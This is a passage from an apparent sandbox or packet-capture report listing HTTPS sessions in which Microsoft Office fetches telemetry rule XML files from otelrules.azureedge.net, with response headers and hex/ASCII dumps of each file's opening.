2024-12-07 16:35:56 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:56 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:56 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a85144f8-201e-0033-7f03-48b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163556Z-r1cf579d778xq4f9hC1EWRx41g00000002sg0000000020df x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:57 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:56 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:56 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 8a7a9c83-801e-0078-4106-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163556Z-r1cf579d77898tqwhC1EWRf9q800000002zg00000000255x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:57 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:58 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:58 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3fcff9c6-e01e-0052-0a03-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163558Z-r1cf579d7782ctslhC1EWRfbrw00000003eg0000000003mn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:58 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:58 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:58 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 49b561ed-d01e-0065-2706-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163558Z-r1cf579d778kr8xrhC1EWRfkun00000003d0000000001276 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:58 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:58 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:59 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 1ccbfaf0-201e-0003-3306-48f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163559Z-r1cf579d778t5c2lhC1EWRce3w00000003h0000000005215 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:59 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:58 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:59 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 32ce5259-b01e-003e-4804-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163559Z-r1cf579d778qlpkrhC1EWRpfc800000003ng000000000r9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:59 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:59 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:00 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 44286e75-701e-0032-5705-48a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163600Z-r1cf579d77898tqwhC1EWRf9q800000002xg000000004zux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:00 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:00 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:00 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:00 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 8eb9891a-501e-005b-7103-48d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163600Z-r1cf579d778mvsklhC1EWRkavg0000000300000000009f9u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-07 16:36:00 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:00 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:00 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 83446ce3-101e-0046-0a10-4891b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163600Z-r1cf579d778dfdgnhC1EWRd3w000000002q000000000417q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:01 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:01 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:01 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 1ec3a3fb-701e-0001-7303-48b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163601Z-r1cf579d778t6txphC1EWRsd4400000003eg0000000009ut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:01 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:01 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:01 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fc2f82a1-a01e-006f-4f06-4813cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163601Z-r1cf579d778lntp7hC1EWR9gg400000002dg00000000010q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:01 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:02 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
